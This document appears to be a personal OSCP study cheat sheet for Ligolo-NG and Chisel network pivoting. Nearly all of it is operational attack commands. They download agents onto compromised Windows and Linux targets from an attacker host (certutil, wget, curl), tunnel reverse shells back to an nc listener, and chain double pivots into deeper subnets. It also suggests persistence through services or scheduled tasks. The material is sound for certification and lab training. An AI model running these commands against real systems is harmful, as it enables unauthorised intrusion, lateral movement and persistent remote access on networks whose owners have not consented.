Ligolo-NG Quick Reference
Binaries:
~/Tools/ligolo-ng/(proxy=linux-arm64, agents=linux-amd64 + windows-amd64)
1 — Setup (Kali — must redo every reboot)
# Create TUN interface (resets every reboot)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Start proxy (ALWAYS set -api-laddr to avoid port conflict with BloodHound)
~/Tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -api-laddr 127.0.0.1:8443
-selfcert= auto-generate TLS cert. Agent uses-ignore-certto accept it.-api-laddr= moves the Ligolo web UI off port 8080 (BloodHound uses 8080).
⚠️ Port conflict warning: Newer Ligolo-NG has a web dashboard that defaults to port 8080. Without -api-laddr, it hijacks BloodHound’s port.
Port assignments (memorize):
| Tool | Port |
|---|---|
| BloodHound CE | 8080 |
| Burp Suite | 8081 (change from default 8080 in Burp settings) |
| Ligolo proxy listener | 11601 |
| Ligolo dashboard | 8443 (set with -api-laddr) |
If you need to restart Ligolo mid-session:
- Note the agent command on the target
Ctrl+Cthe proxy on Kali- Restart with the same command above
- Re-run agent on target — it reconnects
- In Ligolo console:
session→ select →start - Routes persist (already added) — verify with
ping
⚠️ OSCP labs reset daily. Every morning you must: create tun interface → start proxy → re-upload agent → reconnect → re-add routes. Save your setup commands in a script.
2 — Upload Agent to Target
Windows
# certutil (AV may flag — try alternatives if blocked)
certutil -urlcache -f http://KALI_IP/agent.exe C:\Windows\Temp\agent.exe
# PowerShell
iwr http://KALI_IP/agent.exe -OutFile C:\Windows\Temp\agent.exe
# SMB (no disk write — runs from share)
copy \\KALI_IP\share\agent.exe C:\Windows\Temp\agent.exe
Linux
wget http://KALI_IP/agent -O /tmp/agent && chmod +x /tmp/agent
# or
curl http://KALI_IP/agent -o /tmp/agent && chmod +x /tmp/agent
Serve files from Kali
# Python HTTP server (simple)
cd ~/Tools/ligolo-ng && python3 -m http.server 80
# SMB share (better for Windows — avoids AMSI/AV on download)
impacket-smbserver share ~/Tools/ligolo-ng -smb2support
3 — Connect Agent
# Windows
C:\Windows\Temp\agent.exe -connect KALI_IP:11601 -ignore-cert
# Linux
/tmp/agent -connect KALI_IP:11601 -ignore-cert
Back on the proxy console you’ll see the agent check in.
4 — Routing (Access Internal Subnet)
# In ligolo proxy console:
session # pick the agent session (by number)
ifconfig # check target's interfaces — find internal subnet
start # activate the tunnel on the ligolo TUN
# On Kali (new terminal):
sudo ip route add $TARGET/24 dev ligolo
# Replace with the actual internal subnet from ifconfig output
# ⚠️ Use /24 — a typo like /2 will break routing silently
Now all Kali tools (nmap, netexec, evil-winrm, etc.) work against $TARGET/24 as if directly connected.
# Verify
ping -c1 $TARGET
netexec smb $TARGET/24
5 — Listener (Reverse Shells from Internal Machines)
Internal machines can’t reach Kali directly. Use ligolo listeners to forward ports through the pivot.
# In ligolo proxy console (on the active session):
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp # for serving files
listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443 --tcp # alt port
# List active listeners
listener_list
# Remove a listener
listener_stop <id>
How it works: Internal target connects to PIVOT_HOST:4444 → ligolo forwards to KALI:4444.
# On Kali — start your listener as normal
nc -lvnp 4444
# On internal target — point shell at the PIVOT host (not Kali)
# PowerShell reverse shell example:
powershell -e <BASE64_PAYLOAD_POINTING_TO_PIVOT_IP:4444>
The internal machine thinks it’s talking to the pivot host. Ligolo tunnels it back to Kali.
Fallback: Chisel (when listener_add fails or there’s no pivot)
Use chisel when: target is directly reachable (no pivot needed), one-shot RCE can’t keep ligolo agent alive (Text4Shell, etc.), or target’s egress is filtered to 80/443.
# === STEP 1: Kali — start chisel server ===
~/Tools/chisel server -p 8000 --reverse
# Use -p 80 or -p 443 if egress is filtered
# === STEP 2: Target — upload chisel binary ===
wget http://KALI_IP/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# Windows: certutil -urlcache -f http://KALI_IP/chisel.exe C:\Windows\Temp\chisel.exe
# === STEP 3: Target — connect client (pick ONE spec) ===
./chisel client KALI_IP:8000 R:socks # SOCKS proxy on Kali:1080
./chisel client KALI_IP:8000 R:4444:127.0.0.1:4444 # catch reverse shell on Kali:4444
./chisel client KALI_IP:8000 R:9999:127.0.0.1:8080 # expose target's localhost:8080 → Kali:9999
For one-shot RCE (Runtime.exec doesn’t parse shell — wrap it):
bash -c "nohup /tmp/chisel client KALI_IP:8000 R:4444:127.0.0.1:4444 >/dev/null 2>&1 &"
Spec format:
R:<kali_port>:<target_host>:<target_port>.R:reverses direction — client connects, port opens on Kali.
6 — Double Pivot (Two Hops Deep)
Scenario: Kali → Host A (DMZ) → Host B (internal) → Host C (deeper subnet)
Step 1: First pivot (Kali → Host A)
# Already done: agent on Host A connected, route to internal subnet added
sudo ip route add $TARGET/24 dev ligolo # Host B's subnet
Step 2: Upload agent to Host B through the tunnel
# Serve agent on Kali
python3 -m http.server 80
# Add listener so Host B can reach Kali's HTTP server through Host A
# In ligolo console (session = Host A):
listener_add --addr 0.0.0.0:80 --to 127.0.0.1:80 --tcp
# On Host B (via evil-winrm or shell through first tunnel):
wget http://HOST_A_INTERNAL_IP/agent -O /tmp/agent && chmod +x /tmp/agent
Step 3: Agent on Host B needs to reach Kali proxy
# Add listener on Host A to forward ligolo port back to Kali
# In ligolo console (session = Host A):
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# On Host B — connect agent through Host A
/tmp/agent -connect HOST_A_INTERNAL_IP:11601 -ignore-cert
Step 4: Route the deeper subnet
# New session appears in proxy console — select it
session # pick Host B's session
# Create second TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up
# Start tunnel on the new interface
start --tun ligolo2
# Add route to deeper subnet
sudo ip route add $TARGET/24 dev ligolo2
Now Kali tools reach $TARGET/24 through both hops.
For reverse shells from the deepest subnet, chain listeners on both Host B and Host A.
Troubleshooting
| Problem | Fix |
|---|---|
| Agent connects but yamux keeps dying | Reset the TARGET box — old zombie agent processes from previous sessions can interfere even after taskkill. If that fails, restart the proxy on Kali |
| Agent won’t connect at all | Check firewall on pivot, verify port 11601 is open, try -retry flag |
| “Device for nexthop is not up” | Tun interface doesn’t exist yet — run sudo ip tuntap add + ip link set up FIRST |
| Route add “Invalid prefix” | Check CIDR — /24 not /2 or /254 |
| Route added but no connectivity | Confirm start was run in proxy console; check ip route on Kali |
| Tools timeout through tunnel | Some tools need longer timeouts; nmap: -T3 --max-retries 2 |
| Multiple subnets on one pivot | Add multiple routes to the same ligolo interface |
| DNS resolution through tunnel | Add internal DNS to /etc/resolv.conf or use IPs directly |
| Agent dies on reboot | Run agent as service or scheduled task for persistence |
OSCP Exam Checklist
[ ] TUN interface created: sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
[ ] Proxy running: ~/Tools/ligolo-ng/proxy -selfcert -laddr 0.0.0.0:11601 -api-laddr 127.0.0.1:8443
[ ] Agent uploaded and connected from first pivot
[ ] Internal subnet route added (double-check /24 not typo)
[ ] Listener set up for reverse shells (port 4444 + port 80)
[ ] Verified connectivity: ping or netexec sweep of internal subnet
[ ] If double pivot needed: second TUN (ligolo2), second agent, chained listeners
[ ] Burp moved to 8081 (not conflicting with BloodHound 8080)